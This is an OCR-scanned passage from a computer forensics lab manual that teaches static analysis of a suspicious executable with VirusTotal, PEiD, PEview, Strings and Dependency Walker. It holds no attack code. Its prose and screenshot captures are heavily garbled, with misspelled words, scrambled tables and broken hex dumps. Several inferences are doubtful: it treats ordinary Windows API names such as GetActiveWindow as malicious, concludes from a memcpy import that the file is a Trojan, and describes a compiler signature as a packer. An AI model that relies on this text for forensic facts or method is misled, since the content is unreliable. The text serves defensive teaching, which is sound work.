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Module 11 - Malware Forensics

Malware Forensics

Mabware Forensics of a system refers to a set of procedures for identifying the
presence of malware using various techniques.

Lab Scenario

Malware 15 the most prevalent threat to the computng industry currently. The
attacker uses different types of malware to perform wvarious actions. The
investigators should be aware of malware programs, methods used for therr
propagation, their impacts on the systems and devices.

Atrackers can also use different methods to hide the presence of malware to avert
torensics investigations. An investigator must be able to spot the malware, extract
and analyze 1t to find the perpetrator.

The labs in this module will prm-—-ide the real-ome E:-:perien-::e in malware detection
and analysis.

Lab Objectives

The objecuve of this lab is to help students in scanning an executable file to verity
the presence of malicious components by performing thorough file analysis

Pertorm Static and Dynamic file Analysis:
= Statc Analysis:

® Scan the file across various online and offline antvirus databases.

C:\CHFI-
Tools\CHFIvO e Calculate hash value of the file and check for its presence in the
Module 11 database of already identified malware.
Malware )
Forensics ¢ Find the Portable executables.
e Idennty the packed, obtuscated or encrypred tiles.
¢ ['ind the file dependendes.
o Disassemble the file to discover the internal pmperr_ies of the file.
e Identity the internally stored passwords used for encryption.
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Module 11 - Malware Forensics

"  Dynamic Analysis.

Lab Environment

In this lab, you need:
" A computer running Windows Server 2012 host machine.
* A computer running Windows 10 virtual machine.
= A Web browser with Internet access.

" Administratve privﬂeges to run tools and perfnrm SCans.

Lab Duration

Time: 125 Minutes

Overview of Malware Analysis

Malware analysis 1s a procedure for identfying hidden malice n any file and for
studying its impact on the system, network, and other networking devices. Malware
analysis helps to understand how a malware works, corrupt the files, the path of
transmitting copies, use ports, connect to URLs, changes it makes to the system,
etc. The process helps investgators find the malware that helped the perpetrators
perform an attack on a network or a system and trace them back.,

Lab Tasks

B rask 1 Recommended labs to perform Static and Dynamic analysis of any file to idenuty
the presence of any malware:
Overview o | - |
" Perform Staric Analysis of the Suspicious File.
*  Dynamic Malware Analysis.
"  Analyze Malicious PDE File.
" Scansuspicious MS-otfice file for Malice.
Lab Analysis
Analyze and document the results related to the lab exercise. Give your opinion on
your target’s security posture and exposure through public and free information.
PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.
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Module 11 - Malware Forensics

Perform Static Analysis of the
Suspicious File

Static analysis is the process of scanning a file for the presence of malicious code or
strings, and also verify its impact on the system without running or executing the file.
T his method is more secure and requires minor securit.

Lab Scenario

Attackers design malware in such a way that it looks as useful file and to trick the

ICON KEY users into installing it on the system, leading to a security breach of the system and
= Viduable network it 1s present in. The investigators should be aware of such tricks and know
information the methods of finding if a file consists malicious coding without executing 1t. In
P malware analysis, the first procedure 1s to scan the target file across for presence ot
est your : : i : : : : :
knowledge identified malware programs and code. This lab will help in dealing with such

S1tUATIONS,
E Web exercise

E.Q Workbook review Lab Obje'cltims

This lab will help you understand how to check any file for the presence of
malicious codes and snippets without executing the program.

Objecuves of this lab include:
e Scan the file across antvirus databases
e ['ind any hidden or encrypted program or code
e Extract PE headers from the executables
e ['ind strings that signify malicious coding
e ['ind linked libraries and dependencies

e Disassemble the code

CHFI Lab Manual Page 403 Computer Hacking Forensic Investigator Copyright [ bv EG-Council
All Rights Reserved. Reproduction 1s Strictly Prohibited.



Module 11 - Malware Forensics

Lab Environment

To carry out the lab, you need:
=
L7 Tools

demonstrated in " A computer running Windows 10 virtual machine

this lab are =  The A web browser with internet access.
available in .
C/\CHFI- = PEID located at ZACHFIv9 Module 11 Malware Forensics\Malicious
Tools\CHFIV9 Document Analysis Tools\PEiD.
Module 11 - S . i
PEview located at Z:CHFIv9 Module 11 Malware Forensics\PE Data
Walware Acquisition Tools\PEView.
Forensics

*  Stings.exe located at Z:\CHFIvO Module 11 Malware Forensics\Strings
Search Tools\Strings.

* Dependency Walker located at Z:N\CHFIv® Module 11 Malware
Forensics\PE Data Acquisition Tools\Dependency Walker.

= DA Prolocated at Z:\CHFIv9 Module 11 Malware Forensics\Malware
Analysis Tools\IDA Pro.

" Administratve privileges to run the tools.

Lab Duration

Time: 4 Minutes

Lab Tasks

. Go to any browser and type 1in the following URL:
https://www.virustotal.com.

Q TASK 1

Scan the File
across Antivirus
Databases ¥d \irusTatal - Free Oning

2. Click on the Choose File button to upload the suspicious file.

) | | g inustetal esen

Commanity Statistics Diocumeniaticn FAL Aout ™ English JOn A COmamianity

s total

VirusTotal is a free service that analyzes suspicious files and URLs and facilitates
iz quick dedeckon of viruses, worms, rojans, and all kinds of mahvare

[ File @ URL 3, Search

Chesbga File

Maximum 8le siza: 128ME

By chcking “Scan i, you consent 1o oo Teimmns of Servioe and allow VirusTolal ko

share this file wilh e sacurity communlly. See our Privacy Policy for datails

FIGURE 1.1: L'sing"'.'irusTmal website to scan the 51_15[':'1:'14::-!_15 file
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Module 11 - Malware Forensics

3. Navigate to the following locaton: Z:\Evidence Files\Unknown, select
the file Unknown.exe and click the Open button.

Open
— v A 2« Evidence Files » Unknown w | M Search Unknown

Organize « Mew folder

+ Downloads o # MName Date modified Type

[ Documents # [ Unknown.exe  8/29/2009 152 AM _ Application
[&=| Pictures g

o DVD Drive (D: #
CHFI-Teols
CHFIvS Module
Evidence Files
Evidence Files

& OneDrive

3 This PC

& . o

File name: | Unknown.exe All Files

Open | Cancel

FIGURE 1.2: Iavigal:iﬂg to the folder and selecr_iﬂg the sample suspicinus file

4. Click the sSean it! button.

—|

VirusTotal is a free service that analyzes suspicious files and URLs and facilitates
the quick detection of viruses, worms, trojans, and all kinds of malware.

[ File @ URL Q Search

LiInknown.exe Choose File

Maximum file size: 128MB

By clicking "Scan itl', you consent to our Terms of Service and allow VirusTotal to
share this file with the security community. See our Privacy Policy for details.

3

FIGURE 1.3 Scanning the suspicious file using VirusTotal
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Module 11 - Malware Forensics

: websi v i X isplays S whi

5. The website may generate a dialog box that displays a message, which
provides informaton about the ttme when the website analyzed the file
last ume and first ume.

The dialog box will also mention the detection ration, which displays
the ratio of ant-virus mmpﬂnies that have voted the file as malicious to
the total number of mmpﬂnies collaborated with the website.

Click the Reanalyse button to perform the analysis.

File already analysed

This file was last analysed by VirusTotal on 2016-04-11 10:23:59 UTC (2 hours, 13 minutes
ago) it was first analysed by VirusTotal on 2010-10-08 16:50:31 UTC.

Detection ratio: 11/56

You can take a look at the last analysis or analyse it again now.

Reanalyse View last analysis

FIGURE 1.4: '_'"n:ann.ing the 5u5pi|:inu5 file

6. The website will display various details of tile such as, SHA256 hash
value and the names of the mmpan.ie:a that have voted the file as
malicious.

SHAZSE: 034ab6 7712685303509 14180561 5609942 47 el cacfctdfaias a2 Scdf 1f9e $
File name: Unknown.exe

Detaction ratio: 11 /56 ‘. U @ U

Analysis date: 2016-04-11 1022355 UTC { 2 hours, 28 minutes aga )

= Analysis & File delai 6 Addiional information & Comments L Woles i Behavioural information

Result Update
Traj-Agani. Bhzilc 20160411
Trojan/Win32 Agent 20160410

THAApent Dhzl 459032 20160411

Trojan-Dropper Agent 20160411

ArtemisIF125ED1E34BD 20780411
BehavesLike Win32 Dropper.gm 20160411
Trojan. Win32 Agent.criaa 20160410

HEURMahware OVMOT Gen 20160411

FIGURE 1.3 Screenzshor displaf:'ing the scanned resules
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Module 11 - Malware Forensics

7. Click on the File detail tab for turther relevant details of the online file
analysis such as compilation tme stamp, type of file, compauble
processors, entry point and PE sections.

M Analysis & File detail O Additional information # Comments 0 Voles £ Behavioural information

The file being studied is a Portable Executable file! More specifically, it is a Win32 EXE file for the Windows GLI subsystem

ir Packers identified

PEID InstallShield 2000

= PE header basic information

Target maching Intel 386 or later processors and compatible processors
Compilation timestamp 2005-01-30 075029
Entry Point 000027180

Number of sections i

& PE gections

Name Virtual address Virtual size Raw size Entropy MD5
lext 4096 200517 2090520 6.60 8844f6Te83811a012ed3fdcd4Tcd92297
rdala 307200 40032 48152 4,36 T24c2404353eM6202606007 cV0ead2cd

FIGURE 1.6: File derail rab shm:.'iﬂg further details of the scanned file

8. The result also provides information about the data link libraries (DLLs)
that the programs may use and the types of PE resources it includes.

+] ADVAPI32.dll

+] COMCTL32.dll
+] GDI32_dll

+] KERNEL32.dll

+] OLEAUT32.dil
+] SHELL32.dll

% Number of PE resources by type

RT_GROUP_ICON

RT_RCDATA

/™ Number of PE resources by language

EUTRAL DEFAULT

FIGURE 1.7: Screenshot showing the information about DLLs and PE resources
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Module 11 - Malware Forensics

9. The website also displays the metadata present in the file.
@ ExifTool file metadata

MIMEType application/octet-stream
Subsystem Windows GUI

MachineType Intel 386 or later, and compatibles

FileTypeExtension exe

Time Stamp 2005:01:30 08:50:29+01:00
FileType Win32 EXE
PEType PE32
CodeSize 364032
LinkerVersion 2.0
EntryPoint Oc271b0
InitializedData Size 193024
SubsystemVersion 4.0
ImageVersion 0.0
O5Version 40

Uninitialized DataSize 0

FIGURE 1.8: Screenshor shnwiﬂg metacdara present in the file

10. In the Addinonal information tab, the result displays the different hash
values of the file including MD3,; SHA1, SHA256, etc. Other details
include TrlD and tags.

™ Analysis &, Filz detail 0 Additional infarmation & Comments [} Vales | Behavioural information

@ File identification

MD5 f125ed1b34bd1b165980d35c96c5d8CE
SHA1 a7TedfTed1e1bbed259a898b35932600192a4035
SHA256 034ab6771e69e53035ba914f8b56156099f2217 e 1cecicf4fbfabila2bcdfifhe

ssdeep 6144 9uZUY TeiLnfnBT7 pRig1+5zLgiZ 49X CLUgNgGyCY UEM roDepf Xido6Y UNL SuZ LY Teandid+SVGECU
g7 CkMraE2

authentihash - baaf®6687ea2c382a080767b5cEf0c68bOG145442a4298fec65T98951bal5bbet

imphash d4cesd2110b63TebTi21d1cbecsbdeba

File size 468.0 KB { 479232 bytes )

File type Win32 EXE

Magic literal PE32 executable for M3 Windows (GUI) Intel 20386 32-bit

TriD Win32 Executable MS Visual C++ 4% (62.6%)
Win32 Executable MS Visual C++ (generic) (15.9%)
Windows screen saver (6,6%)
Win32 Dynamic Link Library (generic) (3.3%)
Win32 Executable (generic) (2.2%)

peexe | instalishicid

FIGURE 1.9: Viewing Additonal informanon section of the file
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Module 11 - Malware Forensics

11. The Behavioural informaton tab holds informaton of runume DLLs
the suspicious program may call during execution, device drivers it uses,
as well as the 1P addresses the program tries to connect with and the
protocol 1t deploys.

= Analysis &, File detail € Additional infermation & Comments [} Vibes R Behavioural information

Condensed report! The follgwing is a cendensed repart of the behaviour of the file when executed in a contr

{5 s 1 ey s E w0 I [ .. "l 1 mod T . ilkE ol T
lescribad werne aiher parformed by the file fself or by any olher process launched by the exaculed file or subjacted lo cods

& Runtime DLLS

nched32.all (successiul)

& Additional details

The file sends conlrol codes direclly 10 certam device divers making use of the DeviceloConlrol Windows AP funclion.

= UDP communications

104, 41,150, 68;123

FIGURE 1.10: ‘&’ieu'ing the Behavioural informaton section of the file

12. Invesngators need to find if the file has any hidden or encrypted program

= TASK 2 or code within as well as find 1ts type and packer used to encrypt it. In this
lab, we will use the PE1D tool, which 1s an open source detection tool that
Find Obfuscated detects packers, cryptors and compilers stored inside the PE files.

Program or Code . .
13. To run the PEID tool, navigate to the Z:\CHFIv9 Module 11 Malware

Forensics\Malicious Document Analysis Tools\PEiD locaton and
double-click the PEiD.exe file.

14. PE1D GUI appears; to add a targert file to the tool, click the ellipsis (...)
assoclated with the File option, to upload the respectve evidence file.

EP Section: |

First Bytes: |

Subsystem: |

Multi Scan I Taskﬂewerl Options

FIGURE 1.11: _-’deing rarget file in PEID ool
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Module 11 - Malware Forensics

15. Navigate to the following locaton: Z:\Evidence Files\Unknown, select
the file Unknown.exe and click the Open button.

i Choose the file to open...
- v « BEwidence Files » Unknown v O Search Unknown

Organize = New folder

¥ Downloads # # MName Date modified Type

= Documents o

\9) Unknown.exe 8/29/2009 1:a AM  Application

= Pictures +
o DOVD Drive (Dx: #
CHFI-Tools
CHFIvI Module!

Evidence Files

Evidence Files
@ OneDrive
[ This PC
¥ Metwork

*& Homegroup
v £

File name: | Unknown.exe Executables

Open Cancel

FIGURE 1.1z Iavigating to the target file

16. The PEid tool will display the extension of obfuscated file if any in the

EP section and display the name of packer used to encrypt the file at
the botrom.

17. In this case, the tool was able to detect only .text tfiles which show that
there 1s no obfuscated file present in the suspicious file.

The file uses Microsoft Visual C++5.0 ol to pack the contents.

44 PEiD v0.95

\Evidence Files\Unknown\Unknown.exe

Entrypoint: | 00027180 EP Section: [.text

le Offset: | 00026580 First Bytes: | 55,8B,EC,6A

inker Info: | 5.0 Subsystem: |Win32 GUI

Microsoft Visual C++ 5.0 |
Task Viewer

FIGURE 1.13 "'r"iewing resules in PEID wol
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E Task 3

Extract PE
Headers of the
File

Module 11 - Malware Forensics

18. Since the file 1s not packed and encrypted, the next step would be to

extract its PE headers using the PEview tool. So, exit the PE1D) tool.

19. To launch the PEview tool on the system, navigate to the Z:\CHFIvO
Module 11 Malware Forensics\PE Data Acquisition Tools\PEView and
double click the PEview.exe file.

20). A PEview License pop-up appears, click Accept.

21. The PEwview tool will start running and prompt an Open dialog box to
add the target file. Navigate to the evidence file locaton Z:\Evidence
Files\Unknown, select the Unknown.exe file and click the Open button.

"-. [}pen

« - a

Organize

« BEwvidence Files » Unknown

Mew folder

# Quick access

& OneDrive

[ This PC

¥ Network

o4 Hom egroup

22. The

gl Wiew Go Help

File name:

Mame

Date modified

Search Unknown

Type

@ Unknown.exe

8/29/2009 1:52 AM

Application

€

Unknown.exe

Executable (*.exe)

t}pen

FIGURE 1.14: Navigaring to the target file in PEview tool

hex

tool  will

*ococoEuma|E=x

display the

data
IMAGE_NT_HEADER from the left column and from the drop-down list,
select IMAGE_FILE_HEADER to view the header data of the file.

of the

tile. Click

the

H- Unknown_exe

IMAGE_DDS HEADER
-- M5-005 Stub Program

=t IMAGE_WT_HEADERS

- Signature

IMAGE FILE HEADER|

- IMAGE_OFTICNAL_HEADER
IMAGE_SECTION_HEADER text
~ IMAGE_SECTION_HEADER _rdata
IMAGE_SECTION_HEADER data
IMAGE_SECTION_HEADER. .idata
IMAGE_SECTION_HEADER clezn

IMAGE_SECTION_HEADER rsre
- SECTION _text

SECTION _rdata
-- SECTION _data
= SECTION idata
-~ SECTION _clean
- SECTION L rare

FFile
On00a9ED
00000050
QO0DM0AD
000DIBD
000000
00000000
000DBOED
DDOOOOFD
00000100
00000110
00000120
0000130
00000140
AO000150
00000160
Ooe00170

50 45 00 00 4C 01 06 00
a0 ©0 O 00 EO0 00
00 F2 02 00 00 00

aa
04
1]
aq
aa
aa
aa
aa
aa
aa
a0
ad
0

Ba

EEEE=EESEESssSEZlE

i
oo
or
10
oo
]
Q0
1]
oo
1]

on
o
on
an
on
1]
on
1]
]
an

an
aa
an
an
10
04
aa
an
aa
an

0
00
04
10
0
L1}
0
0d
00
0

00 a0 a9 00
o0 oo Qo 0d
00 a0 a9 0g

aF
1]
40
0o
]
1]
1]
1]
1]
1]
1]
iy
1]
]
0o

o1
oo
on
]
on
oo
on
1]
on
oo
oo
oo
oo
oo
oo

Raw Data

Walue

Co 91 FC 41 00 00 00 00 PE. . L..

0B
B0
aa
04
an
an
aa
an
aa
an
0a
an
1a
aa

01
H
10

EEEEZEEZEEEZE

05
02
oo
o
oo
gli]
oo
or
oo
11}
oo
1]
06
oo

a0 Jd BE 05
a0 Qg 10
0o 00 02
0o 00 00
0o 02 00
0o a0 10
0o Q0 4o
0o Do T
0o a0 o
0o a0 o
0o 00 00
oo a0 0o
a0 14 07
a0 ad aa

EEESE=EESEESESEESEE

oo
o

oo
oo
1]i]
oo

1] B

oo

1] B
oo

1]

1]/

FIGURE 1.15 "'n-'ieu'ing header dara of the zelected file in PEsiew tool
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Module 11 - Malware Forensics

23. The header contains basic information about the file such as date
tmestamp description, compilation time, etc.

24. The information also helps the invesﬂgatnr to know if the file contains a
GUI or console program.

Help
'ﬂﬂﬂallﬁﬂdﬂ o =

Linknown exe pFile Data Deescription Value
-~ IMAGE_DOE_HEADER 00000034 04c Machine IMAGE_FILE_MACHINE_I386
-- MS-005 Stub Pragram 000000346 DODE MNumber of Sections
- IMAGE_NT_HEADERS 00000088  4WFCH1CS  Time Date Stamp 2005/01/30 Sun 07:50:28 UTC
E--Eignature GO0EC DODODOOD  Painfer to Symbal Table
m 00000090 00000000 Mumber of Symbals
- IMAGE_OPTIONAL_HEADER a0000094 O0EQ0  Size of Optional Header
IMAGE_SECTION_HEADER text Q0000096 010F Characteristics
IMAGE_SECTION_HEADER rdata oo IMAGE_FILE_RELOCS_STRIPPED
IMAGE_SECTION_HEADER .data oonz IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_SECTION_HEADER .idata noo4 IMAGE_FILE_LINE_NUMS_STRIPFED
-~ IMAGE_SECTION_HEADER .claan ooog IMAGE_FILE_LOCAL _SYME_STRIPPED
-- IMAGE_SECTION_HEADER .rarc o100 IMAGE_FILE_328IT_MACHINE
-- SECTION .text
-~ SECTION rdata
-~ SECTION .data
=- SECTION data
SECTION clean
- SECTION rsrc

FIGURE 1.16: Viewing header data of the selected file in PEview tool

25. Click the IMAGE_SECTION_HEADER.text section. This section displays
the virtual and raw size of the file. Virtual Size 1s the space allocated for
a tile while loading, whereas Raw Data, 1s the space it occupies on a

disk.

26. The virtual and raw darta sizes of the file are same if it does not contain
any obfuscated code. By comparing these sizes, the investgator can
detect the presence of hidden encrypted code.

ey - [E\Evidence Fifes\UInkno LInknown.exe
le Wiew Go Help
A MR EE

=+ Unknown exe pFile Data Dageriplion
- IMAGE_DOE HEADER Q00001ve  2E 74 65 T8 Mame
-- MS-005S Stub Program pooooirc Y4 00 00 oo
H- IMAGE_NT_HEADERS 00000180 000491FD  Virtual Size
- Signature 00000184 DODDI000  RAA
i IMAGE_FILE_HEADER 00000138 DOD48200  Size of Raw D'alal
L IMAGE OPTIORAL HEADER Boooo1Ec DODOO400  Pointer to Raw Data
|IMAGE SECTION HEADER .lml 000001590 pooDOo0D  Paointer to Relocations
- IMAGE_SECTION_HEADER rdata 00000194 0ooooooo  Paointer to Line Numbers
- IMAGE_SECTION_HEADER .data J0000158 ooon Mumber of Relocations
-- IMAGE_SECTION_HEADER .idata DoDDD15A oooo Mumber of Line Numbers
-- IMAGE_SECTION_HEADER: .clean pooooisc GOOOO0Z0  Characteristics
- IMAGE_SECTION_HEADER .rsrc DOOD0020 IM&GE_SCH_CHT_CODE
SECTION text 20000000 IM&GE_SCH_MENM_EXECUTE
SECTION .rdata 40000000 IMAGE_SCH_MEM_READ
SECTION .data
- SECTION idata
-- SECTION .clean
B- SECTION .rsnc

FIGURE 1.17: Companng results in IMAGE_SECTION_HEADER. text section
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Module 11 - Malware Forensics

27. Click the IMAGE_OPTIONAL_HEADER section from the left pane; it will
display the state of the file, the size of ininalized data section, the size of
uninitalized data, the address of entry point, the subsystem required to
run the file, etc.

le View Qo Hep

OO0 | EH| o= =

Lirkhovers. & pi il
00038
QM0 05
aodoasas ol
QOQpaac OSEEQD
Qoa0AD 0Q02F200
LA 00000000
000DODAS  DODZT1BD
faododat ad001000
alaganan a4 B000
onaoong4d 00£00000
aoaoanas 0001000
N00onoEs 0oao0n200
Q000anco 0004
Q000amc2 000
QnOQanc4 aoqo
Qia0ancE i ]
QNOpancs LT R
000000CA, aono
Jo0no0acs O0a00000
QNOEanog TN
aododnhd O000400
anaganos Q000000
LDIJD[I':'DE on2
goonane

BAAGE_DO5_HEADER

MS-DOE FHubk Program

= BAGE_NT_HEADERS
Signature

Magic

F.l'lap;lr Limksr Version
Minor Linker Wersicn
Size of Code

Zeze of Iretiakzed Dala
Size of Uniniialized Data
Address of Eniry Poirt
Basze ol Code

Baza of Data

Image Base

Saction Alignment

Fila Alignment

Mapai VS WVersion

Minor OFS Yarsion

Majar Image Warsion
Minar Image Varsion
Major Subsystem Yarsion
Kinar Subsystem Version
Wind2 Yersion Value
Size of Image

Size of Headars
Chechksum

=ubsysterm

DL Charactenstics

o

IMAGE_NT_OPTIONAL_HDR32 MAGIC

IMAGE_FILE_HEADER

[MAGE GFTIONAL HEADER]
MAGE_SECTION_HEADER text

BAAGE_SECTION_HEADER .rdata

PAAGE_SECTION_HEADER .data

BAAGE _SECTION HEADER idala
PAAGE_SECTION HEADER clzan
BAAGE _SECTION HEADER rsr
SECTHOM fest
SECTMOM rdzta
SECTION data

#- SECTION idala
SECTIOM _chagn

o SECTIOM rere

IMAGE_SUBSYSTEM_WINDOWS_GUI |

FIGURE 118 Viewing resuls in IMAGE_OPTIONAL_HEADER section

28. Other informauon it displays includes, the RVA and size of import
mable, exporrt table, resource table, exception table, certificate rable, base
relocation table, debug directory, TLS table, etc. Information about
these tables is important for understanding the impact of malware.

For eg, Malware may use the TLS callback function to evade
debugging. If the malware has TLS callback tuncuon, then the TLS

rable would store some value.

000000F4
000000F8
000000FC

00000010
00000000
00000000

Number of Data Directories

EXPORT Table

00000100
00000104

00060000
00000104

IMPORT Table

00000108
0000010C

00073000
00007800

RESOURCE Table

00000110
00000114

00000000
00000000

EXCEPTION Table

00000118
0000011C

00000000
00000000

CERTIFICATE Table

00000120
00000124

00000000
00000000

BASE RELOCATION Table

00000128
0000012C

00000000
00000000

DEBUG Directory

00000130
00000134

00000000
00000000

Architecture Specific Data

00000138
0000013C

00000000
00000000

GLOBAL POINTER Register

00000140
00000144

00000000
00000000

TLS Table

00000148

00000000

LOAD CONFIGURATION Table

FIGURE 119 Viewing resuls in IMAGE_QOPTIONAL_HEADER section
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TASK 4

Finding
Suspicious
Strings

*\Users\Admin>
Users\Admin

Module 11 - Malware Forensics

29. Click on the SECTION .idata section to see a list of its contents, and
select IMPORT Directory Table from the list.

30. This table stores information about the DLL files the file calls during
execution. Scan these files to check for any suspicious content,

ile Wiew Go Help

= Unknown. axe

IMAGE_DOS HEADER
M3-D03 Stub Program
£ IMAGE_NT_HEADERS

IMAGE_SECTION _HEADER .
IMAGE_SECTION_HEADER .
~IMAGE_SECTION HEADER
IMAGE SECTION HEADER .
~IMAGE_SECTION_HEADER
IMAGE_SECTION HEADER .

SECTION text
~SECTION .rdata
SECTION _data

={SECTION idata|

[IMPORT Directory Table]

IMPORT Mame Table

— IMPORT Address Table
IMFORT HintsMTames & DLL Mam

~SECTIOM .clean
- SECTION .rsre

text
rdata
data
idata
clean
ISIC

. PEview - D=4 Evidence Files\ Unknovw\ Unknewn.exe

B OO0 | FHE|mo o

oFile
QO0SAEQD
0005AEDS
0005AE0S

Data
00060778
Q0000a00
Q00Q0000

Descrplion
Import Name Table RVA
Time Date Stamp
Forwarder Chain

0005AEQC  000SO0F3A  MName RVA

0005AE10

00060EBC

Impont Address Table RVA

WWINMM.dil

O005SAE14
Q005AE1E
0005AE1C
QOOSAEED
Q005424

00060260
Q0000000
00000000
00061304
00060974

Import Hame Table RVA
Time Date Stamp
Forwarder Chain

MName EMVA

Impont Address Table BVA

KERMELZZ.dll

0005AE28
0005AEZC
Q005AE30
O005AE34
Q005AESE

000E04ES
00000000
00000000
000623A6
Q0060BFC

Import Hame Table RVA
Time Date Stamp
Forwarder Chain

Hame RVA

Impart Address Table BVA

USER32.dll

0005AE3C
Q005AZ40
00054244
O005AE48
Q005AE4C

00060128
00000000
00000000
00062858
000&6083C

Import Name Table RVA
Time Date Stamp
Forwarder Chain

Hame RVA

Impart Address Table BVA

GDI32 . dil

0005AE50
0005AE4
0005AESE
O00SAESC
Q005AERD

000607A4
00000000
00000000
000628F8
N00e0EES

Import Name Table RVA
Time Date Stamp
Forwarder Chain

Mame FYWA

Impart Address Table BVA

comdig32 dil

0005AE64

Q005AE6S

nNNEAFR
£

00060780

Q0000000
ANANNNNN

Impart Mame Table R\WA
Time Date Stamp

Frrwardar Chain

FIGURE 1.2(k Viewing results in SECTION .idara section

31. Analyze each secuon of the file thoroughly and mark the suspicious

CONTENT.

32. The next step 1s to find the suspicious strings from the target file using
the Strings tool.

33. R_ight click on the Start or Windows menu icon and select Command

Prompt.

34, Command ]E‘r{';mpt appears as shown in the screenshot:

Windows

2015 Microsoft

FIGURE 1.21: Command Prompt
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Module 11 - Malware Forensics

35, Kz‘ﬂ'igﬂte t0 ZNACHFIv9 Module 11 Malware Forensics\Strings Search
Tools\Strings, click the strings.exe file, drag and drop it onto the
command prompt console.

36. The syntax for extracting all the strings of a file named Program.exe is
Location:\>Filepath\strings.exe Filepath\Program.exe.

37. Navigate to the location, Z:\Evidence Files\WUnknown, select the
Unknown.exe file, drag and drop it onto the command prompt console.

B C\WINDOWS\system32\cmd. exe

icrosoft Windows :?:r:iJr

2815 Microsoft Corporati

Malware Forenisics\Strings Search Tools\Strings

== - LT B - A 0

T |_ N ENDET - exe

FIGURE 1.22: Dragping and deopping Unknown.exe file in command prompt

38. Press enter to run the tool. The tool will search the target file and
display all the possible strings from it.

Note: The tool will display the Strings License Agreement dialog box,
click the Agree button.

39. The command prompt will display a list of strings embedded into the
target file.

BN C\WINDOWS\system32\cmd.exe

Users\Admin> Z:\( Ive Module 11 Malware Forenisics) Strings

les\Unknown\Unknown .exe"

cannot be in DOS mode.

FIGURE 1.23: Command prompt displaving stangs embedded into tarper file
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Module 11 - Malware Forensics

40). Invesugarors need to go through these strings to tind the harmtful or
malicious functons.

41. Analysis of strings in the suspicious file reveals that the file contains
shell programming that tries to gather system informaton, an identifier
of the device control, etc.

42. For better understanding and readability investgators can also use the
tool to copy the strings list to a notepad file.

43. Syntax tor copying the strings list to the stringsl.xt notepad file:
C:\>Filepath\strings.exe Filepath\Program.exe >Filepath\strings1.txt.

B C\WINDOWS\system32\cmd.exe

"Z:\CHFIv9 Module

FIGURE 1.24: Smtax for copving stnngs list

44. The command line intertace will copy the result to the menuoned text
file, which can be used for tuture analysis.

strings1 - Motepad

File E Format View Help

Strings v2.51
Copyright (C) 1999-2813 Mark Russinovich
Sysinternals - www.sysinternals.com

! This program cannot be run in D05 mode.
. text
| .rdata

FIGURE 1.25: Examining the stangs listin a notepad file
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TASK 5

Finding File
Dependencies

File Edt Format

Module 11 - Malware Forensics

45. The strings define the funcuon of a program such as copy a file, enter a
password, etc. The investigator needs to find the specific strings that
could result in malicious acuvines. Examples of malicious strings
include GetLastActivePopup and GetActiveWindow, which provide
the attacker informaton about the last active popup and window that
were running on the system.

strings1 - Notepad

View Help

amerlican english

GetlLastActivePopup

GetActiveWindow|Ji}

HGURE 1.26: DE[EL‘LEIE‘ the malicious sl:n:iﬂgs

46. After finding the strings, the mnvesugator needs to check the processes
and dependencies of the file using the Dependency Walker tool.

47. To run the dependency walker tool, navigate to the location ZACHFIv9
Module 11 Malware Forensics\PE Data Acquisition Tools\Dependency
Walker, and double click the depends.exe file.

48. Click the Open file icon from the taskbar, navigate to the locaton,

Z:\Evidence Files\Unknown, seclect the Unknown.exe file and click the
Open button.

ile  View Options Help

H B Open

Look in: | | Unknown |

* Mame

Quick @ Unknown

Desldop

= ] ¢ B
Date modified Type
8/29/2000 1:52 AM  Applicatic

Librarias

5

-

FIGURE 1.27: Navigating to the evidence file in Diependency Walker tool
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Module 11 - Malware Forensics

49. The tool takes some ume to examine the file and then, displays the list

of DLLs linked to the file.

Note: If 2 Dependency Walker pop-up appears displaying an error, click

Edit Wiew Opfions Profile Wedow Help

| M el | & Gy BREEBSEHD R

] UNEMOAWTLESE

% WirhRLDLL
E% KERNEL3ZOLL
B UsER3ZDLL
BIS sz

E% coMDLEI0LIL
S wikEECOL DRy
s apapizioLL
0% SHELLZZOLL
B8 coMCTLIZOLL

11 =000 8]

Furction *
PlagSounod

Elot Bound

% QLELG.OLL
BE oo
El% oLEAUTILOLL

=AW SRR E SRS

Crdinal

Hirt

Furckion

Entry Poirt

2 (f0002)
I (D000 3]
4 (d004)
5 (00005
& (De000&]
7 ({0007
E(000E)

MA
29D 1D
O {{eelD0D]
1000 1]
2 {leedDD2]
BDeD00 3]

[ L1
mciBieoute
Closelomer
Deaf DriverPro:
DviverCallback

DreGettloduleHandle

GO 0005EED
GO O00GEAD
GO O005EGD
GO O005ETD
Gl 0005EED
GO OO005ESD
Gl 0005EAD

s s ]

Al 002] | GetDrivertdoduleHandle

Gali 0005 BCO

FIGURE 1.28: Examining the list of IDI.Ls of the tarper file

50. Click on each dll name to find 1ts funcuons and other linked resource
libraries. Look for the malicious strings that prompt functions to copy
system data, events or other private informaton.

51. In the image given below, the selected (memcpy) 1s a funcuon that
prompts the system to copy certain bytes to a destination location.

From this, an investigator can derive that the malware 15 a Trojan and
would tend to copy user information.

File Edit Wiew Options Profile Waedow Help
W 2R o E LA SN HEBSE0R
— [ UMKMOWNTLEE | Pl Crdinal Hint Function *
= Iﬁ'ﬂ'ﬂNhHDLL (SIS T (304 6) | EbwGetTracel oggerHandle
[ Bl MTOLL.OLL I TP (a4 D | EtwRegisterTraceGuadsi
- ES WNMMRASEDLL M 22 (D05 2) | EbwTraceblessage

ARG M- MR- MME-LT 1 0L Mis 24 054 .E'h'.-L!n.rb;i-rherTr.:ctEuids
B API-ME-WIN-MM-MISC-LT 1100 s it kgt ol
3 AP -MM-POYETICK-L1- 1-0.01 2151 [OB6T) | memcpy
SI% MSVCRT.OLL o 2153 ((0268) | memencue

- ARLMSMN-CORE-SYRCH-L1 - 2000 h/A 214 (00E &) | MeCanceTimer
3 AP-ME-WIM-CORE-PROCESSTHREAD: Mia 232 (BB BEET ] MhClose
& AP1-WE-WM-CORE-UBRARYLOADER-L Cediral = Hird Function

- AR|-BAS-WIN-CORE-LIBRARYLOADER-L B EO00a) | A [
5 AR RASAN-CORE- HAMDLE-L1-1-0.00 9 (D009 0 (D000 | A_SHAF nal
3 AP-MS-WM-CORE-REGISTRY-L1-1-00 10 (a0 A) 100 1) | A_SHAIRR
3 AP-MAE-WIMN-CORE-HEAP-L1-2-0.0LL 1 000E) 2 D02 A_SHAURdate
@ API-WE-WIN-CORE-PROCESSEMVIRON 12 (R 00C) 3 E0003) | AlpcAdjuiCempletionlistCondumencyCount

